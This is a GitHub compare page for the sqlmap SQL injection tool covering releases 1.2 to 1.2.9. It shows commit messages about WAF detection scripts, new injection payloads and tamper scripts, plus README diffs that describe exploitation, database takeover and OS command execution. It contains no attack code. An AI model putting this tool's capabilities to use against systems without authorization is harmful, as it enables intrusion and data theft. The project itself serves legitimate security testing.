Compare commits

...

257 Commits
1.2 ... 1.2.9

Author SHA1 Message Date
Miroslav Stampar
43c9e21c56 Performance improvement and reducing number of false-positives in heavily dynamic pages 2018-09-04 22:39:07 +02:00
Miroslav Stampar
a831865633 Further narrowing down cloudfront WAF script (less FP on detection) 2018-08-30 17:44:37 +02:00
Miroslav Stampar
578c41f6de Fine tuning Incapsula WAF script 2018-08-30 16:49:06 +02:00
Miroslav Stampar
dc01f2e773 Fine tuning of Cloudfrount WAF script (less FP) 2018-08-30 16:42:35 +02:00
Miroslav Stampar
db327a8538 Minor update of WAF scripts 2018-08-30 16:19:31 +02:00
Miroslav Stampar
aefb815064 Cutting down FP on Varnish WAF (ignoring Varnish Cache) 2018-08-30 16:02:27 +02:00
Miroslav Stampar
014978cebc Fine tuning Cloudflare WAF script 2018-08-30 16:00:40 +02:00
Miroslav Stampar
287371337d Update of ZENEDGE WAF script 2018-08-30 15:56:13 +02:00
Miroslav Stampar
62a3618353 Minor patches 2018-08-30 15:50:17 +02:00
Miroslav Stampar
366a3f9336 Detect redirect from stdout 2018-08-30 15:21:46 +02:00
Miroslav Stampar
74d2b60cf3 Minor colorization of WAF Detectify 2018-08-30 15:18:42 +02:00
Miroslav Stampar
9e892e93f3 Created a WAF Detectify utility 2018-08-30 14:54:15 +02:00
Miroslav Stampar
0bbf5f9467 Update of dotDefender WAF script 2018-08-29 12:21:33 +02:00
Miroslav Stampar
8be4b29fd1 Update of Incapsula WAF script 2018-08-29 12:13:22 +02:00
Miroslav Stampar
0507234add Minor update 2018-08-29 11:06:45 +02:00
Miroslav Stampar
c3d9a1c2d4 Airlock also uses AL_SESS-S cookie 2018-08-29 10:56:24 +02:00
Miroslav Stampar
9e8b28be7c Minor patch (e.g. case: user's) 2018-08-28 14:33:48 +02:00
Miroslav Stampar
f3f4a4cb37 Minor refactoring 2018-08-28 14:31:20 +02:00
Miroslav Stampar
2280f3ff2d Updating old links 2018-08-28 14:13:48 +02:00
Miroslav Stampar
d6cf038e48 Fixes #3216 2018-08-25 22:57:49 +02:00
Miroslav Stampar
2dfc383700 Fixes #3215 2018-08-22 17:58:00 +02:00
Miroslav Stampar
f20e7b403a Fixes #3211 2018-08-22 10:41:43 +02:00
Miroslav Stampar
36e62fe8a7 Minor update 2018-08-22 10:20:26 +02:00
Miroslav Stampar
2542b6d241 Minor patch (https version of site is not available) 2018-08-20 19:44:25 +02:00
Miroslav Stampar
bc13d8923b Adding long_description to PyPI upload script 2018-08-20 19:43:27 +02:00
Miroslav Stampar
e51db6b355 Update README.md 2018-08-20 19:33:19 +02:00
Miroslav Stampar
6d28ca1f93 Bug fix (single-quoted strings in long results caused line breaks) 2018-08-18 00:02:39 +02:00
Miroslav Stampar
03e4741a69 Trivial patch (display of used user queries) 2018-08-17 19:45:34 +02:00
Miroslav Stampar
b899ab9eb3 Bug fix (sha-256,sha384... were recognized, though, not cracked) 2018-08-13 15:27:08 +02:00
Miroslav Stampar
2e017eee99 Fixes #3203 2018-08-10 14:16:27 +02:00
Miroslav Stampar
a296d22195 Fixes #3205 2018-08-10 14:01:55 +02:00
Miroslav Stampar
ad11749b15 One more payload (requires usage of --code or similar) 2018-08-09 16:21:35 +02:00
Miroslav Stampar
75a64245c5 Minor patch for colorization (multiple quoted strings in same line) 2018-08-09 16:21:04 +02:00
Miroslav Stampar
9e00202823 Minor patch (use redirection code for comparison) 2018-08-09 15:39:37 +02:00
Miroslav Stampar
df977d93d4 Fixes #3204 2018-08-09 15:08:21 +02:00
Miroslav Stampar
b0ca52086a Fixes #3202 2018-08-07 23:35:58 +02:00
Miroslav Stampar
af89137f2c Update of WAF scripts 2018-08-05 14:19:27 +02:00
Miroslav Stampar
1f9bf587b5 Implementation for an Issue #3108 2018-07-31 02:18:33 +02:00
Miroslav Stampar
f0e4c20004 First commit related to the #3108 2018-07-31 01:17:11 +02:00
Miroslav Stampar
cef416559a Minor update 2018-07-31 00:20:52 +02:00
Miroslav Stampar
ce47b6c76e Minor patch 2018-07-27 01:39:04 +02:00
Miroslav Stampar
39108bc100 Trivial refactoring of unused variables 2018-07-27 00:59:24 +02:00
Miroslav Stampar
f63ceaa0c1 Minor refactoring 2018-07-27 00:53:14 +02:00
Miroslav Stampar
1e60378fb2 Minor refactoring 2018-07-27 00:30:30 +02:00
Miroslav Stampar
22c7bc54b4 Minor patch 2018-07-27 00:01:23 +02:00
Miroslav Stampar
5f1bae86b0 Fixes #3194 2018-07-19 18:00:56 +02:00
Miroslav Stampar
a0cbf6991d Minor style update 2018-07-18 17:00:34 +02:00
Miroslav Stampar
9f2bc00426 Minor patch 2018-07-18 16:30:59 +02:00
Miroslav Stampar
6bb486c1bf Potential patch for #3192 2018-07-18 15:34:38 +02:00
Miroslav Stampar
741ce9e3f0 Trivial update (just to reset checksums) 2018-07-15 16:08:01 +02:00
Anastasios Stasinopoulos
a479655097 Minor patch (--purge instead of --purge-output) (#3188) 2018-07-15 11:28:34 +02:00
Miroslav Stampar
4846d85ccd Pre-fetching latest revision number in case of update 2018-07-11 19:30:14 +02:00
Miroslav Stampar
3c439c3929 Known cause of majority of false-positives (Issue #3176) 2018-07-11 16:12:57 +02:00
Miroslav Stampar
5cc36a5736 Revert of last commit (Fixes #3179) 2018-07-10 15:54:06 +02:00
Miroslav Stampar
29dcdd3bef Potential patch for #3178 2018-07-10 15:35:07 +02:00
Miroslav Stampar
53eadb0af8 Fixes #3173 2018-07-09 12:22:51 +02:00
Miroslav Stampar
7b705b94e3 Fixes #3171 2018-07-09 12:20:18 +02:00
Miroslav Stampar
558484644a Minor refactoring 2018-07-06 16:22:19 +02:00
Miroslav Stampar
e84142b6a9 Fixes #3172 2018-07-06 16:18:04 +02:00
Miroslav Stampar
b44551230e Fixes #3165 2018-07-05 15:13:51 +02:00
Miroslav Stampar
4ecf6eee05 Minor style update 2018-07-05 14:21:32 +02:00
Miroslav Stampar
57be1856a6 Where things could go kaboom (changing terminal coloring) 2018-07-05 14:01:43 +02:00
Miroslav Stampar
a424e4ab59 Fixes #3168 2018-07-02 13:09:25 +02:00
Miroslav Stampar
4660b816d5 Minor patch (fallback for masking of sensitive data) 2018-07-02 11:54:12 +02:00
Miroslav Stampar
f92e1ebc40 Another trivial style update 2018-07-02 11:47:47 +02:00
Miroslav Stampar
48cd0421a6 Trivial style update 2018-07-02 11:41:36 +02:00
Miroslav Stampar
4b4f728d8e Updated MySQL active fingerprint payloads 2018-07-02 10:58:25 +02:00
Miroslav Stampar
e8336ecfe1 Fix of a pesky often 'statistical model' retrieval 2018-06-29 23:57:20 +02:00
Miroslav Stampar
38ea0686a8 Minor patch (Issue #3149) 2018-06-29 22:48:43 +02:00
Miroslav Stampar
73b0de67b5 Fixes #3149 2018-06-29 22:37:57 +02:00
Miroslav Stampar
fae97b3937 Another patch for #3164 2018-06-29 16:34:16 +02:00
Miroslav Stampar
c0947846f4 Patch for #3164 2018-06-29 16:33:17 +02:00
Miroslav Stampar
5e2d0bd320 Minor patches (--purge instead of --purge-output) 2018-06-20 23:52:08 +02:00
Miroslav Stampar
4badb54607 Couple of small patches 2018-06-20 23:21:55 +02:00
Miroslav Stampar
29aaec8925 First part of checksum cleanup 2018-06-20 23:09:23 +02:00
Miroslav Stampar
27ff5d6fec Implementation of #3156 2018-06-20 23:04:58 +02:00
Miroslav Stampar
72ff6e24ff Minor wording update 2018-06-20 17:15:35 +02:00
Miroslav Stampar
717c451b8c Trivial style update 2018-06-20 15:21:42 +02:00
Miroslav Stampar
e5968cae31 Fixes --profile 2018-06-20 13:51:03 +02:00
Miroslav Stampar
2b55ae3e2a Minor just in case update 2018-06-20 13:06:56 +02:00
Miroslav Stampar
8f4488d608 Minor patches related to the #739 2018-06-20 00:08:55 +02:00
Miroslav Stampar
f1254fef4b Finalizes implementation for #739 2018-06-19 16:39:10 +02:00
Miroslav Stampar
ccda26a567 Minor commit regarding #739 2018-06-19 16:23:17 +02:00
Miroslav Stampar
099110bc1f Minor commit regarding #739 2018-06-19 16:14:44 +02:00
Miroslav Stampar
0265b3fcfa Second commit regarding #739 2018-06-19 16:11:49 +02:00
Miroslav Stampar
961d2b24d1 First commit regarding #739 2018-06-19 16:08:38 +02:00
Miroslav Stampar
53578bcb7c Generic patch related to the #3153 2018-06-19 14:56:39 +02:00
Miroslav Stampar
756f02fb0e Fixes #3150 2018-06-15 14:22:24 +02:00
Miroslav Stampar
17c170e1f8 Fixes #3148 2018-06-13 23:51:09 +02:00
Miroslav Stampar
220c1be162 Fixes #3144 2018-06-12 23:02:38 +02:00
Miroslav Stampar
6b06332896 Fixes #3145 2018-06-12 22:45:16 +02:00
Miroslav Stampar
c268663bd9 Minor code style updates 2018-06-09 23:38:00 +02:00
Miroslav Stampar
a97fd1dede Fixes #3142 2018-06-09 22:59:08 +02:00
Miroslav Stampar
b93284530e Patch related to the #3139 2018-06-08 15:13:50 +02:00
Miroslav Stampar
cf4c263a4e Minor patch 2018-06-08 14:45:15 +02:00
Miroslav Stampar
23777143b6 Update related to the #3137 2018-06-07 10:07:12 +02:00
Miroslav Stampar
9b397f00be Minor refactoring 2018-06-07 01:28:02 +02:00
Miroslav Stampar
d47c16e196 Minor refactoring 2018-06-07 00:55:32 +02:00
Miroslav Stampar
e0c7b5c63c Minor wording update 2018-06-07 00:46:54 +02:00
Miroslav Stampar
091c8ab2dd Minor update (switching --invalid-logical to LIKE version) 2018-06-07 00:37:22 +02:00
Miroslav Stampar
86303bde55 Trivial update (wording) 2018-06-07 00:24:29 +02:00
Miroslav Stampar
c89f119e1a Minor update 2018-06-05 01:12:50 +02:00
Miroslav Stampar
25369ca591 Adding new payload (HAVING boolean-based blind) 2018-06-05 00:59:47 +02:00
Miroslav Stampar
a399b65033 Trivial update 2018-06-05 00:20:37 +02:00
Miroslav Stampar
ed37ae1562 Adding new WAF script (Cloudbric) 2018-06-05 00:05:17 +02:00
Miroslav Stampar
5381d4d5be Minor update 2018-06-04 23:33:07 +02:00
Miroslav Stampar
c1825b2651 Patch for #3130 2018-06-01 11:23:41 +02:00
Miroslav Stampar
e7d448c56c Minor update regarding #3129 2018-06-01 10:21:59 +02:00
Miroslav Stampar
694b5bb5c0 New tamper script (per user request) 2018-05-30 15:48:16 +02:00
Miroslav Stampar
eb498e6c03 Fixes #2819 2018-05-29 14:54:43 +02:00
Miroslav Stampar
ca8b589d43 Fixes #3122 (by reverting 6c4e9ae427) 2018-05-29 14:26:31 +02:00
Miroslav Stampar
18706f7fad Minor patch for unhandled exception reports 2018-05-28 11:29:06 +02:00
Miroslav Stampar
80f3b9a711 Minor worflow change in case of unhandled exceptions (disregard --batch) 2018-05-28 11:10:42 +02:00
Miroslav Stampar
6b3f01bfeb Minor patch 2018-05-28 11:07:06 +02:00
Miroslav Stampar
42042fb5de Removing encoding report part (enough time has been passed to collect major problems) 2018-05-24 10:41:20 +02:00
Miroslav Stampar
2abc7fc588 Update related to the #3116 (consistency patch) 2018-05-24 10:13:13 +02:00
German
1ecc326714 Russian localization readme (#3116)
* add russian doc readme

* add link head readme
2018-05-24 10:11:09 +02:00
Miroslav Stampar
d2d829abf5 Patch related to the #3117 2018-05-24 10:07:35 +02:00
Miroslav Stampar
43d9ac2bd4 Patch related to the #3101 2018-05-21 23:44:21 +02:00
Miroslav Stampar
d8196cf7e6 Fixes #3110 2018-05-21 23:17:32 +02:00
Miroslav Stampar
42b0edca6d Fixes #3109 2018-05-19 12:35:39 +02:00
Miroslav Stampar
331ccc5549 Fixes #3100 2018-05-17 23:07:52 +02:00
Miroslav Stampar
d5627fdf1b Fixes #3099 2018-05-15 12:15:47 +02:00
Miroslav Stampar
7b3a17bfe7 Patch for #3068 2018-05-09 13:38:39 +02:00
Miroslav Stampar
4a8f01c9dc Minor updates 2018-05-08 14:06:34 +02:00
Miroslav Stampar
13bf3e649a Trivial refactoring 2018-05-08 12:09:24 +02:00
Miroslav Stampar
9a63fb1055 Trivial refactoring 2018-05-08 11:59:56 +02:00
Miroslav Stampar
3544793961 Fixes #3088 2018-05-07 10:48:35 +02:00
Miroslav Stampar
7a8add0412 Update regarding #3068 2018-05-05 14:49:35 +02:00
Miroslav Stampar
1d382bcb4d Fixes #3086 2018-05-05 14:33:00 +02:00
Miroslav Stampar
ec6ad3ce68 Bug fix (non-digit --union-char has not been working properly) 2018-05-05 14:22:06 +02:00
Miroslav Stampar
73d8952f2a Potential patch for #3084 2018-05-04 16:29:36 +02:00
Miroslav Stampar
2a810fb796 Trivial modifications (thou shalt not judge people by trivial commits) 2018-05-03 14:10:55 +02:00
Miroslav Stampar
8f7a7bed20 Minor patch 2018-05-03 13:31:27 +02:00
Miroslav Stampar
36b0ece2ad Minor message update 2018-04-30 11:02:01 +02:00
Miroslav Stampar
7d8fbab035 Fixes #3069 2018-04-26 18:56:17 +02:00
Miroslav Stampar
5580db0045 Fixes #3067 2018-04-24 19:52:12 +02:00
Miroslav Stampar
3fde205cd4 Generic patch for #2886 (cause still unknown) 2018-04-24 19:45:53 +02:00
Miroslav Stampar
1822cc05f6 Patch for #3060 2018-04-22 01:12:56 +02:00
Miroslav Stampar
509bb41b06 Adding (hidden) switch '--force-pivoting' (Issue #3032) 2018-04-17 17:08:57 +02:00
Miroslav Stampar
8ca3287df4 Proper way to skip already used payloads (important to --suffix/--prefix cases) 2018-04-12 14:38:32 +02:00
Miroslav Stampar
60767de2eb Patching issue that got into with patch for #2934 (ORDER BY was unusable in majority of regular cases) 2018-04-12 12:25:37 +02:00
Miroslav Stampar
29e683fb5b Skip prepending CR to readInput messages if in non-TTY mode (ugly looking in Linux text editors) 2018-04-12 11:33:23 +02:00
Miroslav Stampar
148d1c9ff9 Fixes #3037 2018-04-11 15:19:44 +02:00
Miroslav Stampar
a8cb14ed4a Minor patch (disable tamper script usage in WAF/IDS/IPS check phase) 2018-04-11 14:48:54 +02:00
Miroslav Stampar
c634f0b0d6 Patch related to the #3041 2018-04-11 13:14:09 +02:00
Miroslav Stampar
8605c49911 Update related to the #3039 2018-04-11 13:06:47 +02:00
Miroslav Stampar
44f6951dfe Update of xml/banner files 2018-04-10 11:35:39 +02:00
Miroslav Stampar
b5b32c951c Minor update 2018-04-10 11:03:08 +02:00
Miroslav Stampar
a9c3b59cff Update related to the #2999 2018-04-09 12:14:46 +02:00
Miroslav Stampar
4528cb014d Minor just in case patch 2018-04-09 12:05:08 +02:00
Miroslav Stampar
2c5f976993 Fixes #3035 2018-04-09 11:34:50 +02:00
Miroslav Stampar
4f2669a45a Fixes #3030 2018-04-06 01:13:04 +02:00
Miroslav Stampar
641838ed73 Minor update 2018-04-06 01:06:58 +02:00
Miroslav Stampar
2a681b7bd6 Fixes #3027 2018-04-05 12:25:41 +02:00
Miroslav Stampar
7f3f1dcdee Fixes #3022 2018-04-03 12:50:09 +02:00
Miroslav Stampar
4147f44e63 Potential patch for Issues like #3013 and #3017 2018-04-01 12:45:47 +02:00
Miroslav Stampar
2cc6214227 Fixes #3020 2018-04-01 11:25:51 +02:00
Miroslav Stampar
8a90512354 One more commit related to the last one (reduce false hopes in heavily dynamic cases) 2018-03-31 11:02:48 +02:00
Miroslav Stampar
ae8699f258 Reducing false-positive 'appears' messages in heavily dynamic environment 2018-03-29 14:47:30 +02:00
Miroslav Stampar
cdb1e79370 Disabling ORDER BY tests in heavily dynamic environment 2018-03-29 14:37:33 +02:00
Miroslav Stampar
f0677d88b7 Trivial update 2018-03-29 14:22:46 +02:00
Miroslav Stampar
16cd13d7db Fixes #3014 2018-03-28 17:24:12 +02:00
Miroslav Stampar
c7329cb03b Probable patch for #3013 and similar Issues 2018-03-28 15:23:14 +02:00
Miroslav Stampar
45fb5ab4a5 Patch for cases when http: is immediatelly being redirected to https: 2018-03-28 15:13:33 +02:00
Miroslav Stampar
241f7321de Proper patch related to the #3009 2018-03-26 15:39:48 +02:00
Miroslav Stampar
c6c1ac02bb Patch related to the #3009 2018-03-26 15:07:43 +02:00
Miroslav Stampar
f287ff3767 Trivial comment update 2018-03-21 14:29:54 +01:00
Miroslav Stampar
7d5a0ed2dc Use false-positive checks in dummy mode 2018-03-21 14:22:59 +01:00
Miroslav Stampar
4fc7fc6447 Patch for an Issue #2943 2018-03-20 11:32:31 +01:00
Miroslav Stampar
880d709bfd Removing checkIntegrity() from smokeTest() (primarly used before commiting) 2018-03-20 10:32:47 +01:00
Miroslav Stampar
0ddc7bae66 Fixes #2997 2018-03-20 10:31:31 +01:00
Miroslav Stampar
305b2aa9b5 Minor update for smoke test 2018-03-19 01:02:28 +01:00
Miroslav Stampar
e63b97afd6 Refactoring #2992 2018-03-19 00:53:16 +01:00
Arjun V
c378b6691c Adding sample schemas shipped with Oracle DB (#2992)
* Adding sample schemas shipped with Oracle DB

Added sample schemas that are included with the Oracle Guides. They are unbelievably common in live systems from personal experience.

https://docs.oracle.com/cd/E11882_01/server.112/e10575/tdpsg_user_accounts.htm#TDPSG20303

* Adding  as an oracle system database for exclusion

`APPQOSSYS` schema is used by Oracle Database QoS Management

https://docs.oracle.com/cd/E11882_01/server.112/e24611/install_config.htm
2018-03-19 00:51:00 +01:00
Miroslav Stampar
ee431cd83b Minor update 2018-03-19 00:39:48 +01:00
Miroslav Stampar
e088fe08ec Update related to the #2995 2018-03-19 00:33:30 +01:00
Miroslav Stampar
74de40b9c5 Minor patch of a previous commit 2018-03-16 15:21:19 +01:00
Miroslav Stampar
6c2b7cff80 Minor patch of UNION checking logic 2018-03-16 15:11:04 +01:00
Miroslav Stampar
a6809e03ef Minor just in case patch 2018-03-16 14:38:47 +01:00
Miroslav Stampar
ac68eed65d Trivial code style update 2018-03-16 14:33:22 +01:00
Miroslav Stampar
a27f21cb1d Trivial message updates 2018-03-16 14:30:47 +01:00
Miroslav Stampar
01fb07f68c Minor patch (message for --check-internet) 2018-03-16 14:28:37 +01:00
Miroslav Stampar
d7f2445814 Minor patch of error message parsing regex 2018-03-16 14:25:27 +01:00
Miroslav Stampar
6875c40a06 Minor update of permission problems detection 2018-03-16 14:20:43 +01:00
Miroslav Stampar
4cd859012a Switching zipball update method to experimental 2018-03-15 11:07:14 +01:00
Miroslav Stampar
5feb4c3ccd Updated --update mechanism (fetching and extraction of zipball) 2018-03-14 13:36:10 +01:00
Miroslav Stampar
3c5e9e7559 Fixes #2982 2018-03-14 01:02:26 +01:00
Miroslav Stampar
909a3456e3 Potential fix for #2980 2018-03-13 14:40:32 +01:00
Miroslav Stampar
fa4c1c5251 Some more PEPing (I hope that I haven't broke anything) 2018-03-13 13:45:42 +01:00
Miroslav Stampar
8166a4eeb8 Minor PEPing 2018-03-13 11:25:26 +01:00
Miroslav Stampar
ae2b02952f Dealing with deprecated raises 2018-03-13 11:13:38 +01:00
Miroslav Stampar
1d9c11b1c1 Minor update of Travis config 2018-03-13 11:03:05 +01:00
Miroslav Stampar
99894dc3c1 Minor update (git/https repo address consistency) 2018-03-13 10:37:13 +01:00
Miroslav Stampar
0c4b6c9978 Fixes #2974 2018-03-12 11:37:48 +01:00
Miroslav Stampar
cd88caa0e7 Fixes #2977 2018-03-11 03:34:31 +01:00
Miroslav Stampar
c024233f88 Minor patch 2018-03-11 03:28:19 +01:00
Miroslav Stampar
5380e8174b Safer WAF heuristics in case of URI injections 2018-03-11 03:20:33 +01:00
Miroslav Stampar
4cefff7e98 Bug fix (misencoding inside check waf payload) 2018-03-11 03:13:33 +01:00
Miroslav Stampar
11b52c85e1 Patch of bug introduced with 76905e8728 2018-03-11 02:46:37 +01:00
Miroslav Stampar
24cefeaee2 Minor notification update 2018-03-11 02:20:22 +01:00
Miroslav Stampar
9ad32864ec Fixes #2973 2018-03-11 02:15:17 +01:00
Miroslav Stampar
190e8ae5fa Bug fix (UNION SQLi with --no-escape) 2018-03-08 17:44:15 +01:00
Miroslav Stampar
43044d8512 Added new compiled 64-bit version (Issue #2965) 2018-03-08 13:33:49 +01:00
Miroslav Stampar
881b49afd2 Fixes #2969 2018-03-08 01:21:34 +01:00
Miroslav Stampar
93b425809e With latest NULL checks (Issue #2965) 2018-03-07 16:04:35 +01:00
Miroslav Stampar
4f2f31af67 Compiled 32-bit version for #2965 2018-03-07 15:43:42 +01:00
Miroslav Stampar
f95d0c831b Minor refactoring (already default mode in os.makedirs) 2018-03-07 14:34:38 +01:00
Miroslav Stampar
76905e8728 Patch related to the #2953 2018-03-05 10:53:24 +01:00
Miroslav Stampar
8d6cc4ae2c Fixes #2959 2018-03-03 00:50:47 +01:00
Miroslav Stampar
a369f61207 Fixes #2956 2018-03-03 00:27:21 +01:00
Miroslav Stampar
34d2fb1c8f Fixes #2957 2018-03-03 00:01:26 +01:00
Miroslav Stampar
ec6de40a8d Fixes #2958 2018-03-02 23:38:07 +01:00
Miroslav Stampar
6402d2ec57 Fixes #2952 2018-02-28 09:44:45 +01:00
Miroslav Stampar
b25f2bfa45 Minor patch (not not upload to <script.ext>/ directories) 2018-02-27 12:57:48 +01:00
Miroslav Stampar
9df16f3eb2 Bug fix (regex for paths included full error message) 2018-02-27 12:49:05 +01:00
Miroslav Stampar
d99151ce5a Minor update for --wizard mode 2018-02-27 12:37:45 +01:00
Miroslav Stampar
93859fdc42 Fixes #2948 2018-02-26 13:37:19 +01:00
Miroslav Stampar
b595b883d1 Temporary patch for #2947 2018-02-25 17:39:21 +01:00
Miroslav Stampar
67f8c22702 Fixes #2942 2018-02-21 11:47:01 +01:00
Miroslav Stampar
24cc6e92e9 Trivial update 2018-02-20 14:26:31 +01:00
Miroslav Stampar
f38596a5b3 Minor refactoring 2018-02-20 14:02:02 +01:00
Miroslav Stampar
5ff54bf9c6 Fixes #2934 2018-02-14 17:10:44 +01:00
Miroslav Stampar
8e8ae52288 Minor text update 2018-02-13 23:10:53 +01:00
Miroslav Stampar
e2cc9569e5 Implementation for an Issue #2891 2018-02-13 15:53:50 +01:00
Miroslav Stampar
365fa5a52a Fixes #2923 2018-02-10 11:06:31 +01:00
Miroslav Stampar
faaae2b647 Minor refactoring 2018-02-08 17:08:44 +01:00
Miroslav Stampar
d813d24c48 Minor update 2018-02-08 16:58:50 +01:00
Miroslav Stampar
e347d90ec5 Minor patch 2018-02-08 16:53:46 +01:00
Miroslav Stampar
56a4e507e8 Minor refactoring 2018-02-08 16:49:16 +01:00
Miroslav Stampar
5b99180ffe Update for an Issue #806 2018-02-08 00:04:04 +01:00
Miroslav Stampar
061c8da36b Proper overlongutf8.py (Issue #806) 2018-02-07 23:59:36 +01:00
Miroslav Stampar
a16663f9a1 Minor refactoring 2018-02-07 16:05:41 +01:00
Miroslav Stampar
62fc2e1e17 Fixes #2911 2018-02-06 10:48:47 +01:00
Miroslav Stampar
ef8b2d793f Fixes #2910 2018-02-06 10:27:10 +01:00
Miroslav Stampar
aebfb7d597 Update related to the #2912 2018-02-06 09:50:36 +01:00
Miroslav Stampar
9e75bb7f68 Minor patch 2018-01-31 11:43:17 +01:00
Miroslav Stampar
be7711bcdb Minor patch related to the #2900 2018-01-31 11:29:53 +01:00
Miroslav Stampar
10fd004dec Reverting set() brace form because of Python 2.6 compatibility issues 2018-01-31 11:24:28 +01:00
Miroslav Stampar
0a8bc52910 Minor updates 2018-01-31 11:13:08 +01:00
Miroslav Stampar
31fa7f6c94 Trivial update# 2018-01-31 10:50:34 +01:00
Miroslav Stampar
30f8c30d6a Minor update 2018-01-31 10:36:13 +01:00
Miroslav Stampar
fd8bbaff9f Minor update of error regexes 2018-01-31 00:15:11 +01:00
Miroslav Stampar
02661c166d Removing leftover pdb (#2769) 2018-01-25 12:31:22 +01:00
Miroslav Stampar
4bf20066ec Update related to the #2769 2018-01-25 12:29:56 +01:00
Miroslav Stampar
c5730ee88d Update related to the #2677 2018-01-25 12:23:54 +01:00
Miroslav Stampar
a7bf4f47e6 Update related to the #2677 2018-01-25 12:13:33 +01:00
Miroslav Stampar
fc06d4d9cb Adding full OS info in error reports 2018-01-21 11:54:42 +01:00
Miroslav Stampar
4b9613e362 Trivial update 2018-01-21 11:49:50 +01:00
Miroslav Stampar
cea9d1c75e Patch related to the #2890 2018-01-21 11:11:20 +01:00
Miroslav Stampar
94c170d392 Minor refactoring 2018-01-15 14:04:41 +01:00
Miroslav Stampar
18626656ec Minor patch 2018-01-15 13:53:46 +01:00
Miroslav Stampar
e5ab678db0 Fixes #2856 2018-01-15 13:43:50 +01:00
Miroslav Stampar
a59198d1e4 Minor just in case patch (to prevent junk reports) 2018-01-15 09:48:07 +01:00
Miroslav Stampar
f6738adc04 Abracadabra #2790 2018-01-12 16:17:57 +01:00
Miroslav Stampar
e0dee9418d Fixes #2866 2018-01-08 01:21:29 +01:00
Miroslav Stampar
439f8247b6 Revert of version string 2018-01-02 01:08:47 +01:00
214 changed files with 3726 additions and 3249 deletions

View File

@@ -24,7 +24,6 @@ Many [people](https://raw.github.com/sqlmapproject/sqlmap/master/doc/THANKS.md)
In order to maintain consistency and readability throughout the code, we ask that you adhere to the following instructions:
* Each patch should make one logical change.
* Wrap code to 76 columns when possible.
* Avoid tabbing, use four blank spaces instead.
* Before you put time into a non-trivial patch, it is worth discussing it privately by [email](mailto:dev@sqlmap.org).
* Do not change style on numerous files in one single pull request, we can [discuss](mailto:dev@sqlmap.org) about those before doing any major restyling, but be sure that personal preferences not having a strong support in [PEP 8](http://www.python.org/dev/peps/pep-0008/) will likely to be rejected.

View File

@@ -1,4 +1,7 @@
language: python
sudo: false
git:
depth: 1
python:
- "2.6"
- "2.7"

View File

@@ -1,6 +1,6 @@
# sqlmap
[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap)
[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap)
sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.
@@ -64,5 +64,6 @@ Translations
* [Japanese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ja-JP.md)
* [Polish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pl-PL.md)
* [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md)
* [Russian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ru-RUS.md)
* [Spanish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-es-MX.md)
* [Turkish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-tr-TR.md)

View File

@@ -0,0 +1,50 @@
# sqlmap
[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap)
sqlmap - это инструмент для тестирования уязвимостей с открытым исходным кодом, который автоматизирует процесс обнаружения и использования ошибок SQL-инъекций и захвата серверов баз данных. Он оснащен мощным механизмом обнаружения, множеством приятных функций для профессионального тестера уязвимостей и широким спектром скриптов, которые упрощают работу с базами данных, от сбора данных из базы данных, до доступа к базовой файловой системе и выполнения команд в операционной системе через out-of-band соединение.
Скриншоты
----
![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png)
Вы можете посетить [набор скриншотов](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) демонстрируемые некоторые функции в wiki.
Установка
----
Вы можете скачать последнюю версию tarball, нажав [сюда](https://github.com/sqlmapproject/sqlmap/tarball/master) или последний zipball, нажав [сюда](https://github.com/sqlmapproject/sqlmap/zipball/master).
Предпочтительно вы можете загрузить sqlmap, клонируя [Git](https://github.com/sqlmapproject/sqlmap) репозиторий:
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
sqlmap работает из коробки с [Python](http://www.python.org/download/) версии **2.6.x** и **2.7.x** на любой платформе.
Использование
----
Чтобы получить список основных опций и вариантов выбора, используйте:
python sqlmap.py -h
Чтобы получить список всех опций и вариантов выбора, используйте:
python sqlmap.py -hh
Вы можете найти пробный запуск [тут](https://asciinema.org/a/46601).
Чтобы получить обзор возможностей sqlmap, список поддерживаемых функций и описание всех параметров и переключателей, а также примеры, вам рекомендуется ознакомится с [пользовательским мануалом](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
Ссылки
----
* Основной сайт: http://sqlmap.org
* Скачивание: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) или [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
* Канал новостей RSS: https://github.com/sqlmapproject/sqlmap/commits/master.atom
